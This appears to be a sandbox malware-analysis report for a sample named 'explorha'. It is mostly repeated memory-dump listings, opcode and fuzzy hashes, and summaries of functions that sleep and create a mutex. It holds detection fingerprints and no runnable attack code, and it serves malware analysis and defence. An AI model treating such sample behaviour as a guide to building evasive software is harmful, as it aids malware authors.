Associated: 00000001.00000002.1731341823.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731393232.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731413734.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731435749.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731456280.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731478066.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731496256.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731513260.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 672490e38d3c3181a0ae318a46aa63c333b812c17ab6d5c9e7b75ce42bdaa520
Instruction ID: 32da0badcad06a4b5630463e2692bf11e2e070b437c85d4fcbf15adcd481b163
Opcode Fuzzy Hash: 672490e38d3c3181a0ae318a46aa63c333b812c17ab6d5c9e7b75ce42bdaa520
Instruction Fuzzy Hash: 72314D716001409BFF08EB7CCE8979DB762AB86318F20861FE411973D2C7BD5990876A

Uniqueness

Uniqueness Score: -1.00%

Function 0048A152 Relevance: 3.1, APIs: 2, Instructions: 122
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0048A435
CreateMutexA.KERNELBASE(00000000,00000000,004E51D8), ref: 0048A453

Memory Dump Source

Source File: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000001.00000002.1730343892.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730374185.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730443996.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730466179.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730490228.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730596147.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730622950.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730653872.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730677570.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730698556.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730725681.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730779025.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730794298.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730812843.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730829110.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730846582.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730861862.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730877059.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730894672.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730913261.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730929516.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730945921.00000000006B3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730964556.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730982140.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731000861.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731017904.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731033518.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731053307.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731068635.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731085078.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731101350.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731116935.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731135514.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731160283.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731178328.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731196190.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731223422.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731243359.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731261606.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731283680.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731303618.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731324804.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731393232.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731413734.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731435749.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731456280.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731478066.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731496256.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731513260.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2553b57860bb8823de894eed61d77d2af7ac7dbb6ea157b4dd972bfb7f2e7480
Instruction ID: 0f14bdd6ac437739d3559698b863d24c85815404840c7eb70b029450534fa353
Opcode Fuzzy Hash: 2553b57860bb8823de894eed61d77d2af7ac7dbb6ea157b4dd972bfb7f2e7480
Instruction Fuzzy Hash: 53316B716001409BFF08EB68CE8975DB762DB82318F208A1FE411973D2C7BD5990C75A

Uniqueness

Uniqueness Score: -1.00%

Function 0048958C Relevance: 3.1, APIs: 2, Instructions: 106
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0048A435
CreateMutexA.KERNELBASE(00000000,00000000,004E51D8), ref: 0048A453

Memory Dump Source

Source File: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000001.00000002.1730343892.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730374185.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730443996.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730466179.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730490228.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730596147.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730622950.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730653872.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730677570.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730698556.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730725681.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730779025.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730794298.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730812843.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730829110.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730846582.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730861862.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730877059.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730894672.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730913261.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730929516.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730945921.00000000006B3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730964556.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730982140.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731000861.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731017904.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731033518.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731053307.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731068635.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731085078.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731101350.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731116935.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731135514.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731160283.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731178328.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731196190.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731223422.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731243359.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731261606.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731283680.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731303618.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731324804.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731393232.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731413734.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731435749.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731456280.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731478066.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731496256.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731513260.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f5bc49a8c6d2db0822c7dac293b6f1ff31b1ef32d34294009e0a1313e9e71f79
Instruction ID: 978293f8c30bcbb052d783ab1e26b3169513adcfd96d9ea83dfb99472c97e72e
Opcode Fuzzy Hash: f5bc49a8c6d2db0822c7dac293b6f1ff31b1ef32d34294009e0a1313e9e71f79
Instruction Fuzzy Hash: 21216871A046449BFB18EF68CE847ACBB62EB81308F24861EE415AB3C1CB7D59808759

Uniqueness

Uniqueness Score: -1.00%

Function 0048A326 Relevance: 3.1, APIs: 2, Instructions: 91
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0048A435
CreateMutexA.KERNELBASE(00000000,00000000,004E51D8), ref: 0048A453

Memory Dump Source

Source File: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000001.00000002.1730343892.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730374185.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730443996.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730466179.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730490228.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730596147.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730622950.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730653872.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730677570.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730698556.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730725681.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730779025.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730794298.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730812843.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730829110.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730846582.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730861862.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730877059.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730894672.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730913261.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730929516.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730945921.00000000006B3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730964556.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730982140.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731000861.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731017904.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731033518.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731053307.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731068635.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731085078.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731101350.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731116935.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731135514.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731160283.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731178328.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731196190.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731223422.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731243359.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731261606.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731283680.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731303618.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731324804.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731393232.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731413734.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731435749.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731456280.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731478066.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731496256.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731513260.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 807c940b905c3fe8132915584da0a3b54c2464b1703286907627a24cd2f2dace
Instruction ID: 58ba2ab29e100b0c46ebb32d511f7f867cdd6cde68baeb06e7fb4ab81e18de06
Opcode Fuzzy Hash: 807c940b905c3fe8132915584da0a3b54c2464b1703286907627a24cd2f2dace
Instruction Fuzzy Hash: 032130302442009BFB24B769899B76D7652DB81708F344D1BE901993C2CBFD9850C36F

Uniqueness

Uniqueness Score: -1.00%

Function 00489E1F Relevance: 3.1, APIs: 2, Instructions: 91
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0048A435
CreateMutexA.KERNELBASE(00000000,00000000,004E51D8), ref: 0048A453

Memory Dump Source

Source File: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000001.00000002.1730343892.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730374185.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730443996.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730466179.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730490228.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730596147.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730622950.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730653872.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730677570.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730698556.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730725681.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730779025.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730794298.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730812843.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730829110.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730846582.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730861862.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730877059.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730894672.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730913261.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730929516.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730945921.00000000006B3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730964556.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730982140.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731000861.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731017904.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731033518.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731053307.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731068635.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731085078.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731101350.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731116935.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731135514.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731160283.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731178328.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731196190.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731223422.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731243359.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731261606.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731283680.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731303618.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731324804.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731393232.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731413734.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731435749.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731456280.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731478066.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731496256.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731513260.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: fd3a4824cbe7374f04ae1926e9168a8b79ebd330fafc231cdfffff27f0e3a486
Instruction ID: 426f740ba78ea0a25fee547dac9cf1d7cf6f88d379fa47ebab4985d1477139e2
Opcode Fuzzy Hash: fd3a4824cbe7374f04ae1926e9168a8b79ebd330fafc231cdfffff27f0e3a486
Instruction Fuzzy Hash: 0E2187727006009BFB08EB28CE853BCBB62EB81315F244A2EE5159B3D1CBBD59808759

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004C4330 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 450COMMON

Download Yara Rule

Strings

XL, xrefs: 004C4757, 004C4595, 004C459D
XL, xrefs: 004C434B, 004C44D4, 004C46FD, 004C4697, 004C4523, 004C44A9

Memory Dump Source

Source File: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000001.00000002.1730343892.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730374185.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730443996.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730466179.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730490228.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730596147.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730622950.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730653872.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730677570.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730698556.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730725681.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730779025.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730794298.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730812843.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730829110.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730846582.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730861862.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730877059.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730894672.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730913261.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
